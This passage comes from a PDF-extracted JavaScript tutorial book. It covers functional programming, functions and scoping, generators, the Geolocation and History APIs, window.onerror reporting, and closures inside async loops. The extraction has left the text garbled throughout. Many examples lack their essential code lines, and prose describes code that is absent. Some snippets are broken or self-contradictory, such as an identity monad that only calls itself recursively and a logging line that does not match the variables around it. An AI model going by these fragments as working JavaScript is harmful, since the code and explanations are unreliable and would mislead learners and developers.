.withEmphasis()
.section('Philosophy of AI')
.addParagraph('Something about AI philosophy')
.addParagraph('Conclusion'),
Article.withTopic('JavaScript')
.list('JavaScript is one of the 3 languages all web developers must learn:')
https://riptutorial.com/ 276
www.dbooks.org
.addListItem('HTML to define the content of web pages')
.addListItem('CSS to specify the layout of web pages')
.addListItem(' JavaScript to program the behavior of web pages')
];
https://riptutorial.com/ 277
Chapter 47: Functional JavaScript
Remarks
What is Functional Programming ?
Functional Programming or FP is a programming paradigm that is built upon two main concepts
immutability, and statelessness.The goal behind FP is to make your code more readable,
reusable, and portable.
The Examples should cover each concept in details, and the links provided here are just for
reference, and should be removed once the concept is illustrated.
Examples
Accepting Functions as Arguments
As you can see, our transform function accepts two parameters, a function and a collection. It will
then iterate the collection, and push values onto the result, calling fn on each of them.
Higher-Order Functions
In general, functions that operate on other functions, either by taking them as arguments or by
https://riptutorial.com/ 278
www.dbooks.org
returning them (or both), are called higher-order functions.
A higher-order function is a function that can take another function as an argument. You are using
higher-order functions when passing callbacks.
function iAmCallbackFunction() {
console.log("callback has been invoked");
}
function iAmJustFunction(callbackFn) {
// do some stuff ...
A higher-order function is also a function that returns another function as its result.
function iAmJustFunction() {
// do some stuff ...
// return a function.
return function iAmReturnedFunction() {
console.log("returned function has been invoked");
}
}
Identity Monad
This is an example of an implementation of the identity monad in JavaScript, and could serve as a
starting point to create other monads.
Using this approach reusing your functions will be easier because of the flexibility this monad
provides, and composition nightmares:
identityMonad(value)
.bind(k)
.bind(j, j1, j2)
.bind(i, i2)
.bind(h, h1, h2)
.bind(g, g1, g2)
.bind(f, f1, f2);
https://riptutorial.com/ 279
function identityMonad(value) {
var monad = Object.create(null);
return identityMonad(value);
};
return monad;
};
identityMonad(value)
.apply(f)
.apply(g)
.bind(alert); // Alerts 'foo changed again'
identityMonad(value)
.bind(f)
.apply(g)
.bind(h); // Logs 'foo: bar, bar: foo'
https://riptutorial.com/ 280
www.dbooks.org
substract = (x, ...args) => x - add(...args);
identityMonad(100)
.apply(add, 10, 29, 13)
.apply(multiply, 2)
.bind(divideMonad, 2)
.apply(substract, 67, 34)
.apply(multiply, 1239)
.bind(divideMonad, 20, 54, 2)
.apply(Math.round)
.call(log); // Logs 29
Pure Functions
A basic principle of functional programming is that it avoids changing the application state
(statelessness) and variables outside it's scope (immutability).
Pure functions must not change any variable outside their scope
Impure function
let obj = { a: 0 }
let b = impure(obj)
console.log(obj) // Logs { "a": 1 }
console.log(b) // Logs 1
The function changed the obj.a value that is outside it's scope.
Pure function
let obj = { a: 0 }
let b = pure(obj)
https://riptutorial.com/ 281
console.log(obj) // Logs { "a": 0 }
console.log(b) // Logs 1
Impure function
let a = 1;
console.log(impure(2)) // Logs 2
a++; // a becomes equal to 2
console.log(impure(2)) // Logs 4
This impure function rely on variable a that is defined outside it's scope. So, if a is modified, impure
's function result will be different.
Pure function
console.log(pure(2)) // Logs 2
The pure's function result does not rely on any variable outside it's scope.
https://riptutorial.com/ 282
www.dbooks.org
Chapter 48: Functions
Introduction
Functions in JavaScript provide organized, reusable code to perform a set of actions. Functions
simplify the coding process, prevent redundant logic, and make code easier to follow. This topic
describes the declaration and utilization of functions, arguments, parameters, return statements
and scope in JavaScript.
Syntax
• function example(x) { return x }
• Methods
• fn.apply(valueForThis[, arrayOfArgs])
• ES2015+ (ES6+):
Remarks
For information on arrow functions, please view the Arrow Functions documentation.
Examples
Functions as a variable
https://riptutorial.com/ 283
function foo(){
}
A function defined like this is accessible from anywhere within its context by its name. But
sometimes it can be useful to treat function references like object references. For example, you
can assign an object to a variable based on some set of conditions and then later retrieve a
property from one or the other object:
// Example 1
var hashAlgorithm = 'sha1';
var hash;
hash('Fred');
In the example above, hash is a normal variable. It is assigned a reference to a function, after
which the function it references can be invoked using parentheses, just like a normal function
declaration.
The example above references anonymous functions... functions that do not have their own name.
You can also use variables to refer to named functions. The example above could be rewritten like
so:
// Example 2
var hashAlgorithm = 'sha1';
var hash;
hash('Fred');
function md5Hash(value){
// ...
}
function sha1Hash(value){
// ...
}
https://riptutorial.com/ 284
www.dbooks.org
// Example 3
var hashAlgorithms = {
sha1: function(value) { /**/ },
md5: function(value) { /**/ }
};
hash('Fred');
You can assign the reference to a function held by one variable to another by omitting the
parentheses. This can result in an easy-to-make mistake: attempting to assign the return value of
a function to another variable, but accidentally assigning the reference to the function.
// Example 4
var a = getValue;
var b = a; // b is now a reference to getValue.
var c = b(); // b is invoked, so c now holds the value returned by getValue (41)
function getValue(){
return 41;
}
A reference to a function is like any other value. As you've seen, a reference can be assigned to a
variable, and that variable's reference value can be subsequently assigned to other variables. You
can pass around references to functions like any other value, including passing a reference to a
function as the return value of another function. For example:
// Example 5
// getHashingFunction returns a function, which is assigned
// to hash for later use:
var hash = getHashingFunction( 'sha1' );
// ...
hash('Fred');
function md5Hash(value){
// ...
}
You don't need to assign a function reference to a variable in order to invoke it. This example,
building off example 5, will call getHashingFunction and then immediately invoke the returned
function and pass its return value to hashedValue.
https://riptutorial.com/ 285
// Example 6
var hashedValue = getHashingFunction( 'sha1' )( 'Fred' );
A Note on Hoisting
Keep in mind that, unlike normal function declarations, variables that reference functions are not
"hoisted". In example 2, the md5Hash and sha1Hash functions are defined at the bottom of the script,
but are available everywhere immediately. No matter where you define a function, the interpreter
"hoists" it to the top of its scope, making it immediately available. This is not the case for variable
definitions, so code like the following will break:
var functionVariable;
hoistedFunction(); // works, because the function is "hoisted" to the top of its scope
functionVariable(); // error: undefined is not a function.
function hoistedFunction(){}
functionVariable = function(){};
Anonymous Function
foo();
function foo(){
// ...
}
When you define a function this way, the Javascript runtime stores your function in memory and
then creates a reference to that function, using the name you've assigned it. That name is then
accessible within the current scope. This can be a very convenient way to create a function, but
Javascript does not require you to assign a name to a function. The following is also perfectly
legal:
function() {
// ...
}
When a function is defined without a name, it's known as an anonymous function. The function is
stored in memory, but the runtime doesn't automatically create a reference to it for you. At first
glance, it may appear as if such a thing would have no use, but there are several scenarios where
anonymous functions are very convenient.
https://riptutorial.com/ 286
www.dbooks.org
Assigning an Anonymous Function to a
Variable
A very common use of anonymous functions is to assign them to a variable:
foo();
It would be tedious, sloppy and unnecessary to create a named function, which would clutter your
scope with a function only needed in this one place and break the natural flow and reading of your
code (a colleague would have to leave this code to find your function to understand what's going
on).
https://riptutorial.com/ 287
Immediately Invoking an Anonymous
Function
Unlike many other languages, scoping in Javascript is function-level, not block-level. (See
Function Scoping ). In some cases, however, it's necessary to create a new scope. For example,
it's common to create a new scope when adding code via a <script> tag, rather than allowing
variable names to be defined in the global scope (which runs the risk of other scripts colliding with
your variable names). A common method to handle this situation is to define a new anonymous
function and then immediately invoke it, safely hiding you variables within the scope of the
anonymous function and without making your code accessible to third-parties via a leaked function
name. For example:
<script>
// Using an anonymous function, and then immediately
// invoking it, hides my foo variable and guarantees
// no one else can call it a second time.
(function(){
var foo = '';
}()) // <--- the parentheses invokes the function immediately
</script>
foo(true);
// Console Output:
// Whassup?
https://riptutorial.com/ 288
www.dbooks.org
// Whassup?
// Assign bar to the original function, and assign foo to another function.
var bar = foo;
foo = function(){
console.log('Bad.')
};
bar(true);
// Console Output:
// Whassup?
// Bad.
The intent here was for the anonymous function to recursively call itself, but when the value of foo
changes, you end up with a potentially difficult to trace bug.
Instead, we can give the anonymous function a reference to itself by giving it a private name, like
so:
foo(true);
// Console Output:
// Whassup?
// Whassup?
// Assign bar to the original function, and assign foo to another function.
var bar = foo;
foo = function(){
console.log('Bad.')
};
bar(true);
// Console Output:
// Whassup?
// Whassup?
Note that the function name is scoped to itself. The name has not leaked into the outer scope:
This technique is especially useful when dealing with recursive anonymous functions as callback
parameters:
https://riptutorial.com/ 289
function fib(n){
return ( n <= 2 ) ? 1 : fib( n - 1 ) + fib( n - 2 );
});
// result = [1, 1, 2, 3, 5, 8, 13, 21]
// fib = false (the anonymous function name did not overwrite our fib variable)
Sometimes you don't want to have your function accessible/stored as a variable. You can create
an Immediately Invoked Function Expression (IIFE for short). These are essentially self-executing
anonymous functions. They have access to the surrounding scope, but the function itself and any
internal variables will be inaccessible from outside. An important thing to note about IIFE is that
even if you name your function, IIFE are not hoisted like standard functions are and cannot be
called by the function name they are declared with.
(function() {
alert("I've run - but can't be run again because I'm immediately invoked at runtime,
leaving behind only the result I generate");
}());
This is another way to write IIFE. Notice that the closing parenthesis before the semicolon was
moved and placed right after the closing curly bracket:
(function() {
alert("This is IIFE too.");
})();
(function(message) {
alert(message);
}("Hello World!"));
If required it is possible to name an IIFE. While less often seen, this pattern has several
advantages, such as providing a reference which can be used for a recursion and can make
debugging simpler as the name is included in the callstack.
(function namedIIFE() {
throw error; // We can now see the error thrown in 'namedIIFE()'
}());
While wrapping a function in parenthesis is the most common way to denote to the Javascript
parser to expect an expression, in places where an expression is already expected, the notation
https://riptutorial.com/ 290
www.dbooks.org
can be made more concise:
Function Scoping
Everything defined within the function is not accessible by code outside the function. Only code
within this scope can see the entities defined inside the scope.
function foo() {
var a = 'hello';
console.log(a); // => 'hello'
}
Nested functions are possible in JavaScript and the same rules apply.
function foo() {
var a = 'hello';
function bar() {
var b = 'world';
console.log(a); // => 'hello'
console.log(b); // => 'world'
}
When JavaScript tries to resolve a reference or variable, it starts looking for it in the current scope.
If it cannot find that declaration in the current scope, it climbs up one scope to look for it. This
process repeats until the declaration has been found. If the JavaScript parser reaches the global
scope and still cannot find the reference, a reference error will be thrown.
var a = 'hello';
function foo() {
var b = 'world';
https://riptutorial.com/ 291
function bar() {
var c = '!!';
This climbing behavior can also mean that one reference may "shadow" over a similarly named
reference in the outer scope since it gets seen first.
var a = 'hello';
function foo() {
var a = 'world';
function bar() {
console.log(a); // => 'world'
}
}
The way JavaScript resolves scoping also applies to the const keyword. Declaring a variable with
the const keyword implies that you are not allowed to reassign the value, but declaring it in a
function will create a new scope and with that a new variable.
function foo() {
const a = true;
function bar() {
const a = false; // different variable
console.log(a); // false
}
However, functions are not the only blocks that create a scope (if you are using let or const). let
and const declarations have a scope of the nearest block statement. See here for a more detailed
description.
5.1
When you take a reference to a method (a property which is a function) in JavaScript, it usually
doesn't remember the object it was originally attached to. If the method needs to refer to that
object as this it won't be able to, and calling it will probably cause a crash.
https://riptutorial.com/ 292
www.dbooks.org
You can use the .bind() method on a function to create a wrapper that includes the value of this
and any number of leading arguments.
var monitor = {
threshold: 5,
check: function(value) {
if (value > this.threshold) {
this.display("Value is too high!");
}
},
display(message) {
alert(message);
}
};
When not in strict mode, a function uses the global object (window in the browser) as this, unless
the function is called as a method, bound, or called with the method .call syntax.
window.x = 12;
function example() {
return this.x;
}
console.log(example()); // 12
window.x = 12;
function example() {
"use strict";
return this.x;
}
Bind Operator
https://riptutorial.com/ 293
The double colon bind operator can be used as a shortened syntax for the concept explained
above:
This syntax allows you to write normally, without worrying about binding this everywhere.
Usage:
Output:
One use case can be when you have custom logger and you want to decide on runtime which one
to use.
Functions can take inputs in form of variables that can be used and assigned inside their own
scope. The following function takes two numeric values and returns their sum:
https://riptutorial.com/ 294
www.dbooks.org
arguments object
The arguments object contains all the function's parameters that contain a non-default value. It can
also be used even if the parameters are not explicitly declared:
Although when printing arguments the output resembles an Array, it is in fact an object:
In ES6, the ... syntax when used in the declaration of a function's parameters transforms the
variable to its right into a single object containing all the remaining parameters provided after the
declared ones. This allows the function to be invoked with an unlimited number of arguments,
which will become part of this variable:
In ES6, the ... syntax can also be used when invoking a function by placing an object/variable to
its right. This allows that object's elements to be passed into that function as a single object:
Named Functions
namedSum(1, 3);
anonSum(1, 3);
https://riptutorial.com/ 295
4
sum(1, 3);
• When you are debugging, the name of the function will appear in the error/stack trace
• Named functions are hoisted while anonymous functions are not
• Named functions and anonymous functions behave differently when handling recursion
• Depending on ECMAScript version, named and anonymous functions may treat the function
name property differently
foo();
var foo = function () { // using an anonymous function
console.log('bar');
}
foo();
function foo () { // using a named function
console.log('bar');
}
bar
say(times - 1);
https://riptutorial.com/ 296
www.dbooks.org
}
}
sayHelloTimes(2);
Hello!
Hello!
What if somewhere in your code the original function binding gets redefined?
say(times - 1);
}
}
sayHelloTimes(2);
Hello!
Uncaught TypeError: say is not a function
// The outer variable can even have the same name as the function
// as they are contained in different scopes
var say = function say (times) {
if (times > 0) {
console.log('Hello!');
sayHelloTimes(2);
Hello!
Hello!
And as bonus, the named function can't be set to undefined, even from inside:
https://riptutorial.com/ 297
// this does nothing
say = undefined;
if (times > 0) {
console.log('Hello!');
sayHelloTimes(2);
Hello!
Hello!
function foo () {}
console.log(foo.name); // outputs 'foo'
Post ES6, named and unnamed functions both set their name properties:
function foo () {}
console.log(foo.name); // outputs 'foo'
Recursive Function
https://riptutorial.com/ 298
www.dbooks.org
}
The above function shows a basic example of how to perform a recursive function to return a
factorial.
It is important that such functions make some sort of sentinel value check to avoid infinite loops. In
the first example above, when n is less than or equal to 1, the recursion stops, allowing the result
of each call to be returned back up the call stack.
Currying
Use cases: When the values of some arguments are available before others, you can use currying
to decompose a function into a series of functions that complete the work in stages, as each value
arrives. This can be useful:
• When the value of an argument almost never changes (e.g., a conversion factor), but you
need to maintain the flexibility of setting that value (rather than hard-coding it as a constant).
• When the result of a curried function is useful before the other curried functions have run.
• To validate the arrival of the functions in a specific sequence.
For example, the volume of a rectangular prism can be explained by a function of three factors:
length (l), width (w), and height (h):
https://riptutorial.com/ 299
function prism(l) {
return function(w) {
return function(h) {
return l * w * h;
}
}
}
You can call these sequence of functions with prism(2)(3)(5), which should evaluate to 30.
Without some extra machinery (like with libraries), currying is of limited syntactical flexibility in
JavaScript (ES 5/6) due to the lack of placeholder values; thus, while you can use var a =
prism(2)(3) to create a partially applied function, you cannot use prism()(3)(5).
The return statement can be a useful way to create output for a function. The return statement is
especially useful if you do not know in which context the function will be used yet.
//An example function that will take a string as input and return
//the first character of the string.
Now to use this function, you need to put it in place of a variable somewhere else in your code:
console.log(firstChar("Hello world"));
> H
If we modify the function in the beginning, we can demonstrate that the return statement ends the
function.
https://riptutorial.com/ 300
www.dbooks.org
Running this function like so will look like this:
console.log(firstChar("JS"));
Console output:
It will not print the message after the return statement, as the function has now been ended.
In JavaScript, you can normally split up a line of code into many lines for readability purposes or
organization. This is valid JavaScript:
var
name = "bob",
age = 18;
When JavaScript sees an incomplete statement like var it looks to the next line to complete itself.
However, if you make the same mistake with the return statement, you will not get what you
expected.
return
"Hi, my name is "+ name + ". " +
"I'm "+ age + " years old.";
This code will return undefined because return by itself is a complete statement in Javascript, so it
will not look to the next line to complete itself. If you need to split up a return statement into
multiple lines, put a value next to return before you split it up, like so.
In JavaScript all arguments are passed by value. When a function assigns a new value to an
argument variable, that change will not be visible to the caller:
However, changes made to (nested) properties of such arguments, will be visible to the caller:
https://riptutorial.com/ 301
var obj = {a: 2};
function myfunc(arg){
arg.a = 5; // assignment to a property of the argument
}
myfunc(obj);
console.log(obj.a); // 5
This can be seen as a call by reference: although a function cannot change the caller's object by
assigning a new value to it, it could mutate the caller's object.
As primitive valued arguments, like numbers or strings, are immutable, there is no way for a
function to mutate them:
var s = 'say';
function myfunc(arg){
arg += ' hello'; // assignment to the parameter variable itself
}
myfunc(s);
console.log(s); // 'say'
When a function wants to mutate an object passed as argument, but does not want to actually
mutate the caller's object, the argument variable should be reassigned:
As an alternative to in-place mutation of an argument, functions can create a new value, based on
the argument, and return it. The caller can then assign it, even to the original variable that was
passed as argument:
var a = 2;
function myfunc(arg){
arg++;
return arg;
}
a = myfunc(a);
console.log(obj.a); // 3
Functions have two built-in methods that allow the programmer to supply arguments and the this
variable differently: call and apply.
This is useful, because functions that operate on one object (the object that they are a property of)
can be repurposed to operate on another, compatible object. Additionally, arguments can be given
https://riptutorial.com/ 302
www.dbooks.org
in one shot as arrays, similar to the spread (...) operator in ES6.
let obj = {
a: 1,
b: 2,
set: function (a, b) {
this.a = a;
this.b = b;
}
};
console.log(obj); // prints { a: 3, b: 5 }
console.log(myObj); // prints { a: 3, b: 5 }
ECMAScript 5 introduced another method called bind() in addition to call() and apply() to
explicitly set this value of the function to specific object.
It behaves quite differently than the other two. The first argument to bind() is the this value for the
new function. All other arguments represent named parameters that should be permanently set in
the new function.
function showName(label) {
console.log(label + ":" + this.name);
}
var student1 = {
name: "Ravi"
};
var student2 = {
name: "Vinod"
};
Default parameters
https://riptutorial.com/ 303
Before ECMAScript 2015 (ES6), a parameter's default value could be assigned in the following
way:
function printMsg(msg) {
msg = typeof msg !== 'undefined' ? // if a value was provided
msg : // then, use that value in the reassignemnt
'Default value for msg.'; // else, assign a default value
console.log(msg);
}
ES6 provided a new syntax where the condition and reassignment depicted above is no longer
necessary:
This also shows that if a parameter is missing when the function is invoked, its value is kept as
undefined, as it can be confirmed by explicitly providing it in the following example (using an arrow
function):
let param_check = (p = 'str') => console.log(p + ' is of type: ' + typeof p);
foo(function (){
https://riptutorial.com/ 304
www.dbooks.org
console.log('custom');
});
// custom
foo();
//default
There are certain characteristics of the operations that can be performed through default values:
• A previously declared parameter can be reused as a default value for the upcoming
parameters' values.
• Inline operations are allowed when assigning a default value to a parameter.
• Variables existing in the same scope of the function being declared can be used in its default
values.
• Functions can be invoked in order to provide their return value into a default value.
let zero = 0;
function multiply(x) { return x * 2;}
add(1); // 4, 4
add(3); // 12, 12
add(2, 7); // 18, 18
add(1, 2, 5); // 8, 10
add(1, 2, 5, 10); // 8, 20
let array = [1]; // meaningless: this will be overshadowed in the function's scope
function add(value, array = []) {
array.push(value);
return array;
}
add(5); // [5]
add(6); // [6], not [5, 6]
add(6, add(5)); // [5, 6]
parameters in invocation
The arguments array object only retains the parameters whose values are not default, i.e. those that
https://riptutorial.com/ 305
are explicitly provided when the function is invoked:
function foo(a = 1, b = a + 1) {
console.info(arguments.length, arguments);
console.log(a,b);
}
To create a function which accepts an undetermined number of arguments, there are two methods
depending on your environment.
Whenever a function is called, it has an Array-like arguments object in its scope, containing all the
arguments passed to the function. Indexing into or iterating over this will give access to the
arguments, for example
function logSomeThings() {
for (var i = 0; i < arguments.length; ++i) {
console.log(arguments[i]);
}
}
logSomeThings('hello', 'world');
// logs "hello"
// logs "world"
Note that you can convert arguments to an actual Array if need-be; see: Converting Array-like
Objects to Arrays
From ES6, the function can be declared with it's last parameter using the rest operator (...). This
creates an Array which holds the arguments from that point onwards
Functions can also be called with similar way, the spread syntax
https://riptutorial.com/ 306
www.dbooks.org
const logArguments = (...args) => console.log(args)
const list = [1, 2, 3]
This syntax can be use to insert arbitrary number of arguments to any position, and can be used
with any iterable(apply accepts only array-like objects).
ES6:
myFunction.name
Explanation on MDN. As of 2015 works in nodejs and all major browsers except IE.
ES5:
Partial Application
Similar to currying, partial application is used to reduce the number of arguments passed to a
https://riptutorial.com/ 307
function. Unlike currying, the number need not go down by one.
Example:
function multiplyThenAdd(a, b, c) {
return a * b + c;
}
... can be used to create another function that will always multiply by 2 and then add 10 to the
passed value;
function reversedMultiplyThenAdd(c, b, a) {
return a * b + c;
}
function factory(b, c) {
return reversedMultiplyThenAdd.bind(null, c, b);
}
The "application" part of partial application simply means fixing parameters of a function.
Function Composition
composition makes a pipeline through which our data will transit and get modified simply working
on the function-composition (just like snapping pieces of a track together)...
formatText('this is an example')
//This is an example,
//made with love
N.B. Composition is achieved through a utility function usually called compose as in our example.
https://riptutorial.com/ 308
www.dbooks.org
Implementation of compose are present in many JavaScript utility libraries (lodash, rambda, etc.) but
you can also start out with a simple implementation such as:
https://riptutorial.com/ 309
Chapter 49: Generators
Introduction
Generator functions (defined by the function* keyword) run as coroutines, generating a series of
values as they're requested through an iterator.
Syntax
• function* name(parameters) { yield value; return value }
• generator = name(arguments)
• { value, done } = generator.next(value)
• { value, done } = generator.return(value)
• generator.throw(error)
Remarks
Generator functions are a feature introduced as part of the ES 2015 specification and are not
available in all browsers. They are also fully supported in Node.js as of v6.0. For a detailed
browser compatibility list, see the MDN Documentation, and for Node, see the node.green
website.
Examples
Generator Functions
A generator function is created with a function* declaration. When it is called, its body is not
immediately executed. Instead, it returns a generator object, which can be used to "step through"
the function's execution.
A yield expression inside the function body defines a point at which execution can suspend and
resume.
function* nums() {
console.log('starting'); // A
yield 1; // B
console.log('yielded 1'); // C
yield 2; // D
console.log('yielded 2'); // E
yield 3; // F
console.log('yielded 3'); // G
}
var generator = nums(); // Returns the iterator. No code in nums is executed
https://riptutorial.com/ 310
www.dbooks.org
// console: "yielded 1"
generator.next(); // Executes lines E,F returning { value: 3, done: false }
// console: "yielded 2"
generator.next(); // Executes line G returning { value: undefined, done: true }
// console: "yielded 3"
generator = nums();
generator.next(); // Executes lines A,B returning { value: 1, done: false }
generator.next(); // Executes lines C,D returning { value: 2, done: false }
generator.return(3); // no code is executed returns { value: 3, done: true }
// any further calls will return done = true
generator.next(); // no code executed returns { value: undefined, done: true }
function* nums() {
try {
yield 1; // A
yield 2; // B
yield 3; // C
} catch (e) {
console.log(e.message); // D
}
}
Iteration
A generator is iterable. It can be looped over with a for...of statement, and used in other
constructs which depend on the iteration protocol.
function* range(n) {
for (let i = 0; i < n; ++i) {
yield i;
}
}
// looping
for (let n of range(10)) {
// n takes on the values 0, 1, ... 9
}
// spread operator
let nums = [...range(3)]; // [0, 1, 2]
let max = Math.max(...range(100)); // 99
https://riptutorial.com/ 311
Here is another example of use generator to custom iterable object in ES6. Here anonymous
generator function function * used.
let user = {
name: "sam", totalReplies: 17, isBlocked: false
};
for(let p of properties){
yield this[p];
}
};
for(let p of user){
console.log( p );
}
function* summer() {
let sum = 0, value;
while (true) {
// receive sent value
value = yield;
if (value === null) break;
// aggregate values
sum += value;
}
return sum;
}
let generator = summer();
// proceed until the first "yield" expression, ignoring the "value" argument
generator.next();
// from this point on, the generator aggregates values until we send "null"
generator.next(1);
generator.next(10);
generator.next(100);
From within a generator function, the control can be delegated to another generator function using
yield*.
https://riptutorial.com/ 312
www.dbooks.org
function* g1() {
yield 2;
yield 3;
yield 4;
}
function* g2() {
yield 1;
yield* g1();
yield 5;
}
var it = g2();
console.log(it.next()); // 1
console.log(it.next()); // 2
console.log(it.next()); // 3
console.log(it.next()); // 4
console.log(it.next()); // 5
console.log(it.next()); // undefined
Iterator-Observer interface
Iterator
An iterator is something when invoked returns an iterable. An iterable is something you can
iterate upon. From ES6/ES2015 onwards, all collections (Array, Map, Set, WeakMap, WeakSet)
conform to the Iterable contract.
A generator(iterator) is a producer. In iteration the consumer PULLs the value from the
producer.
Example:
Whenever you call a.next(), you're essentially pull-ing value from the Iterator and pause the
execution at yield. The next time you call a.next(), the execution resumes from the previously
paused state.
Observer
A generator is also an observer using which you can send some values back into the generator.
function *gen() {
document.write('<br>observer:', yield 1);
}
https://riptutorial.com/ 313
var a = gen();
var i = a.next();
while(!i.done) {
document.write('<br>iterator:', i.value);
i = a.next(100);
}
Here you can see that yield 1 is used like an expression which evaluates to some value. The
value it evaluates to is the value sent as an argument to the a.next function call.
So, for the first time i.value will be the first value yielded (1), and when continuing the iteration to
the next state, we send a value back to the generator using a.next(100).
Sync is BLOCKING; Async is WAITING. Writing code that blocks is easy. When
PULLing, value appears in the assignment position. When PUSHing, value appears in
the argument position of the callback.
When you use iterators, you PULL the value from the producer. When you use callbacks, the
producer PUSHes the value to the argument position of the callback.
Here, you pull the value from a.next() and in the second, v => {...} is the callback and a value is
PUSHed into the argument position v of the callback function.
Using this pull-push mechanism, we can write async programming like this,
So, looking at the above code, we are writing async code that looks like it's blocking (the yield
statements wait for 100ms and then continue execution), but it's actually waiting. The pause and
resume property of generator allows us to do this amazing trick.
https://riptutorial.com/ 314
www.dbooks.org
How does it work ?
The spawn function uses yield promise to PULL the promise state from the generator, waits till the
promise is resolved, and PUSHes the resolved value back to the generator so it can consume it.
Use it now
So, with generators and spawn function, you can clean up all your async code in NodeJS to look
and feel like it's synchronous. This will make debugging easy. Also the code will look neat.
This feature is coming to future versions of JavaScript - as async...await. But you can use them
today in ES2015/ES6 using the spawn function defined in the libraries - taskjs, co, or bluebird
Generators are functions which are able to pause and then resume execution. This allows to
emulate async functions using external libraries, mainly q or co. Basically it allows to write
functions that wait for async results in order to go on:
function someAsyncResult() {
return Promise.resolve('newValue')
}
q.spawn(function * () {
var result = yield someAsyncResult()
console.log(result) // 'newValue'
})
This allows to write async code as if it were synchronous. Moreover, try and catch work over
several async blocks. If the promise is rejected, the error is caught by the next catch:
function asyncError() {
return new Promise(function (resolve, reject) {
setTimeout(function () {
reject(new Error('Something went wrong'))
}, 100)
})
}
q.spawn(function * () {
try {
var result = yield asyncError()
} catch (e) {
console.error(e) // Something went wrong
}
})
Using co would work exactly the same but with co(function * (){...}) instead of q.spawn
https://riptutorial.com/ 315
Chapter 50: Geolocation
Syntax
• navigator.geolocation.getCurrentPosition(successFunc, failureFunc)
• navigator.geolocation.watchPosition(updateFunc, failureFunc)
• navigator.geolocation.clearWatch(watchId)
Remarks
The Geolocation API does what you might expect: retrieve information about the client's
whereabouts, represented in latitude and longitude. However, it is up to the user to agree to give
away their location.
This API is defined in the W3C Geolocation API Specification. Features for obtaining civic
addresses and to enable geofencing / triggering of events have been explored, but are not widely
implemented.
if(navigator.geolocation){
// Horray! Support!
} else {
// No support...
}
Examples
Get a user's latitude and longitude
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(geolocationSuccess, geolocationFailure);
} else {
console.log("Geolocation is not supported by this browser.");
}
https://riptutorial.com/ 316
www.dbooks.org
In the event that geolocation fails, your callback function will receive a PositionError object. The
object will include an attribute named code that will have a value of 1, 2, or 3. Each of these
numbers signifies a different kind of error; the getErrorCode() function below takes the
PositionError.code as its only argument and returns a string with the name of the error that
occurred.
You can also receive regular updates of the user's location; for example, as they move around
while using a mobile device. Location tracking over time can be very sensitive, so be sure to
explain to the user ahead of time why you're requesting this permission and how you'll use the
data.
if (navigator.geolocation) {
//after the user indicates that they want to turn on continuous location-tracking
var watchId = navigator.geolocation.watchPosition(updateLocation, geolocationFailure);
} else {
console.log("Geolocation is not supported by this browser.");
}
navigator.geolocation.clearWatch(watchId);
https://riptutorial.com/ 317
Chapter 51: Global error handling in
browsers
Syntax
• window.onerror = function (eventOrMessage, url, lineNumber, colNumber, error) { ... }
Parameters
Parameter Details
Some browsers will call the event handler with just one argument, an
eventOrMessage Event object. However, other browsers, especially the older ones and
older mobile ones will supply a String message as a first argument.
Remarks
Unfortunately, window.onerror has historically been implemented differently by each vendor. The
information provided in the Parameters section is an approximation of what to expect across
different browsers and their versions.
Examples
Handling window.onerror to report all errors back to the server-side
The following example listens to window.onerror event and uses an image beacon technique to
send the information through the GET parameters of an URL.
// Some browsers (at least Firefox) don't report line and column numbers
https://riptutorial.com/ 318
www.dbooks.org
// when event is handled through window.addEventListener('error', fn). That's why
// a more reliable approach is to set an event listener via direct assignment.
window.onerror = function (eventOrMessage, url, lineNumber, colNumber, error) {
if (hasLoggedOnce || !eventOrMessage) {
// It does not make sense to report an error if:
// 1. another one has already been reported -- the page has an invalid state and may
produce way too many errors.
// 2. the provided information does not make sense (!eventOrMessage -- the browser
didn't supply information for some reason.)
return;
}
hasLoggedOnce = true;
if (typeof eventOrMessage !== 'string') {
error = eventOrMessage.error;
url = eventOrMessage.filename || eventOrMessage.fileName;
lineNumber = eventOrMessage.lineno || eventOrMessage.lineNumber;
colNumber = eventOrMessage.colno || eventOrMessage.columnNumber;
eventOrMessage = eventOrMessage.message || eventOrMessage.name || error.message ||
error.name;
}
if (error && error.stack) {
eventOrMessage = [eventOrMessage, '; Stack: ', error.stack, '.'].join('');
}
var jsFile = (/[^/]+\.js/i.exec(url || '') || [])[0] || 'inlineScriptOrDynamicEvalCode',
stack = [eventOrMessage, ' Occurred in ', jsFile, ':', lineNumber || '?', ':',
colNumber || '?'].join('');
// shortening the message a bit so that it is more likely to fit into browser's URL length
limit (which is 2,083 in some browsers)
stack = stack.replace(/https?\:\/\/[^/]+/gi, '');
// calling the server-side handler which should probably register the error in a database
or a log file
new Image().src = '/exampleErrorReporting?stack=' + encodeURIComponent(stack);
https://riptutorial.com/ 319
Chapter 52: History
Syntax
• window.history.pushState(domain, title, path);
• window.history.replaceState(domain, title, path);
Parameters
Parameter Details
Remarks
The HTML5 History API is not implemented by all browsers and implementations tend to differ
between browser vendors. It is currently supported by the following browsers:
• Firefox 4+
• Google Chrome
• Internet Explorer 10+
• Safari 5+
• iOS 4
If you want to find out more about the History API implementations and methods, please refer to
the state of the HTML5 History API.
Examples
history.replaceState()
Syntax :
This method modifies the current history entry instead of creating a new one. Mainly used when
we want to update URL of the current history entry.
https://riptutorial.com/ 320
www.dbooks.org
This example replaces the current history, address bar, and page title.
Note this is different from the history.pushState(). Which inserts a new history entry, rather than
replacing the current one.
history.pushState()
Syntax :
This method allows to ADD histories entries. For more reference, Please have a look on this
document : pushState() method
Example :
This example inserts a new record into the history, address bar, and page title.
Note this is different from the history.replaceState(). Which updates the current history entry,
rather than adding a new one.
go() method
The go() method loads a specific URL from the history list. The parameter can either be a number
which goes to the URL within the specific position (-1 goes back one page, 1 goes forward one
page), or a string. The string must be a partial or full URL, and the function will go to the first URL
that matches the string.
Syntax
history.go(number|URL)
Example
<html>
<head>
<script type="text/javascript">
function goBack()
{
window.history.go(-2)
}
</script>
</head>
<body>
https://riptutorial.com/ 321
<input type="button" value="Go back 2 pages" onclick="goBack()" />
</body>
</html>
https://riptutorial.com/ 322
www.dbooks.org
Chapter 53: How to make iterator usable
inside async callback function
Introduction
When using async callback we need to consider scope. Especially if inside a loop. This simple
article shows what not to do and a simple working example.
Examples
Erroneous code, can you spot why this usage of key will lead to bugs?
The problem is that there is only one instance of var key. All callbacks will share the same key
instance. At the time the callback will fire, the key will most likely have been incremented and not
pointing to the element we are receiving the stats for.
Correct Writing
https://riptutorial.com/ 323
processOneFileInPipeline(key);
}
